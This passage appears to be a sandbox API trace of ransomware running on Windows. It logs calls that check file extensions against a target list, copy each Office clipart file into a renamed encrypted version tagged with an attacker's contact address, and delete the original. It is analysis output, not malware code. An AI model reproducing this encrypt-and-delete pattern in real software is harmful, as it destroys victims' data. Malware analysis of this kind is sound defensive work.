lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.626] SetEndOfFile (hFile=0x2c4) returned 1 [0075.627] CloseHandle (hObject=0x2c4) returned 1 [0075.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0075.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.628] lstrlenW (lpString=".doc") returned 4 [0075.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.628] lstrlenW (lpString=".docx") returned 5 [0075.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.628] lstrlenW (lpString=".pdf") returned 4 [0075.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.628] lstrlenW (lpString=".xls") returned 4 [0075.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.628] lstrlenW (lpString=".xlsx") returned 5 [0075.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.628] lstrlenW (lpString=".ppt") returned 4 [0075.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.628] lstrlenW (lpString=".zip") returned 4 [0075.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.628] lstrlenW (lpString=".rar") returned 4 [0075.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.628] lstrlenW (lpString=".bz2") returned 4 [0075.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.628] lstrlenW (lpString=".7z") returned 3 [0075.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.628] lstrlenW (lpString=".dbf") returned 4 [0075.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.629] lstrlenW (lpString=".1cd") returned 4 [0075.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.629] lstrlenW (lpString=".jpg") returned 4 [0075.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.629] lstrlenW (lpString=".doc") returned 4 [0075.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.629] lstrlenW (lpString=".docx") returned 5 [0075.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.629] lstrlenW (lpString=".pdf") returned 4 [0075.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.629] lstrlenW (lpString=".xls") returned 4 [0075.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.629] lstrlenW (lpString=".xlsx") returned 5 [0075.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.629] lstrlenW (lpString=".ppt") returned 4 [0075.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.630] lstrlenW (lpString=".zip") returned 4 [0075.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.630] lstrlenW (lpString=".rar") returned 4 [0075.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.630] lstrlenW (lpString=".bz2") returned 4 [0075.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.630] lstrlenW (lpString=".7z") returned 3 [0075.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.630] lstrlenW (lpString=".dbf") returned 4 [0075.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.630] lstrlenW (lpString=".1cd") returned 4 [0075.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0075.630] lstrlenW (lpString=".jpg") returned 4 [0075.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.630] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.630] lstrlenW (lpString="AN00790_.WMF") returned 12 [0075.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.889] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5684) returned 1 [0075.889] CloseHandle (hObject=0x31c) returned 1 [0075.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220 [0075.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.890] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.890] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.890] GetLastError () returned 0x0 [0075.890] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1634, lpOverlapped=0x0) returned 1 [0075.892] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1640, lpOverlapped=0x0) returned 1 [0075.893] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.893] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.894] SetEndOfFile (hFile=0x378) returned 1 [0075.894] CloseHandle (hObject=0x378) returned 1 [0075.895] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.895] SetEndOfFile (hFile=0x31c) returned 1 [0075.896] CloseHandle (hObject=0x31c) returned 1 [0075.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0075.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.896] lstrlenW (lpString=".doc") returned 4 [0075.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.896] lstrlenW (lpString=".docx") returned 5 [0075.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.896] lstrlenW (lpString=".pdf") returned 4 [0075.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.896] lstrlenW (lpString=".xls") returned 4 [0075.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.896] lstrlenW (lpString=".xlsx") returned 5 [0075.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.896] lstrlenW (lpString=".ppt") returned 4 [0075.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString=".zip") returned 4 [0075.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.897] lstrlenW (lpString=".rar") returned 4 [0075.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString=".bz2") returned 4 [0075.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString=".7z") returned 3 [0075.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString=".dbf") returned 4 [0075.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString=".1cd") returned 4 [0075.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString=".jpg") returned 4 [0075.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString=".doc") returned 4 [0075.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString=".docx") returned 5 [0075.897] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.897] lstrlenW (lpString=".pdf") returned 4 [0075.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString=".xls") returned 4 [0075.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.897] lstrlenW (lpString=".xlsx") returned 5 [0075.897] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.897] lstrlenW (lpString=".ppt") returned 4 [0075.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.897] lstrlenW (lpString=".zip") returned 4 [0075.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.898] lstrlenW (lpString=".rar") returned 4 [0075.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.898] lstrlenW (lpString=".bz2") returned 4 [0075.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.898] lstrlenW (lpString=".7z") returned 3 [0075.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.898] lstrlenW (lpString=".dbf") returned 4 [0075.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.898] lstrlenW (lpString=".1cd") returned 4 [0075.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68 [0075.899] lstrlenW (lpString=".jpg") returned 4 [0075.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.899] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.899] lstrlenW (lpString="AN00914_.WMF") returned 12 [0075.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.899] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=10832) returned 1 [0075.899] CloseHandle (hObject=0x31c) returned 1 [0075.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0075.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.899] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.900] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.900] GetLastError () returned 0x0 [0075.900] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2a50, lpOverlapped=0x0) returned 1 [0075.902] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2a60, lpOverlapped=0x0) returned 1 [0075.904] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.904] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.904] SetEndOfFile (hFile=0x378) returned 1 [0075.904] CloseHandle (hObject=0x378) returned 1 [0075.905] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.905] SetEndOfFile (hFile=0x31c) returned 1 [0075.906] CloseHandle (hObject=0x31c) returned 1 [0075.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.907] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0075.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.907] lstrlenW (lpString=".doc") returned 4 [0075.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.907] lstrlenW (lpString=".docx") returned 5 [0075.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.907] lstrlenW (lpString=".pdf") returned 4 [0075.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.907] lstrlenW (lpString=".xls") returned 4 [0075.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.907] lstrlenW (lpString=".xlsx") returned 5 [0075.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.908] lstrlenW (lpString=".ppt") returned 4 [0075.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.908] lstrlenW (lpString=".zip") returned 4 [0075.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.908] lstrlenW (lpString=".rar") returned 4 [0075.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString=".bz2") returned 4 [0075.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString=".7z") returned 3 [0075.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.908] lstrlenW (lpString=".dbf") returned 4 [0075.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.908] lstrlenW (lpString=".1cd") returned 4 [0075.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.908] lstrlenW (lpString=".jpg") returned 4 [0075.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.908] lstrlenW (lpString=".doc") returned 4 [0075.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.908] lstrlenW (lpString=".docx") returned 5 [0075.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.908] lstrlenW (lpString=".pdf") returned 4 [0075.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.909] lstrlenW (lpString=".xls") returned 4 [0075.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.909] lstrlenW (lpString=".xlsx") returned 5 [0075.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.909] lstrlenW (lpString=".ppt") returned 4 [0075.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.909] lstrlenW (lpString=".zip") returned 4 [0075.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.909] lstrlenW (lpString=".rar") returned 4 [0075.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.909] lstrlenW (lpString=".bz2") returned 4 [0075.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.909] lstrlenW (lpString=".7z") returned 3 [0075.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.909] lstrlenW (lpString=".dbf") returned 4 [0075.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.909] lstrlenW (lpString=".1cd") returned 4 [0075.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0075.909] lstrlenW (lpString=".jpg") returned 4 [0075.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.909] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.909] lstrlenW (lpString="AN00932_.WMF") returned 12 [0075.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.910] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=14428) returned 1 [0075.910] CloseHandle (hObject=0x31c) returned 1 [0075.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0075.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0075.910] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.910] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.911] GetLastError () returned 0x0 [0075.911] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x385c, lpOverlapped=0x0) returned 1 [0075.913] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3860, lpOverlapped=0x0) returned 1 [0075.914] ReadFile (in: hFile=0x31c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.914] WriteFile (in: hFile=0x378, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.914] SetEndOfFile (hFile=0x378) returned 1 [0075.914] CloseHandle (hObject=0x378) returned 1 [0075.916] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.916] SetEndOfFile (hFile=0x31c) returned 1 [0075.917] CloseHandle (hObject=0x31c) returned 1 [0075.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.917] 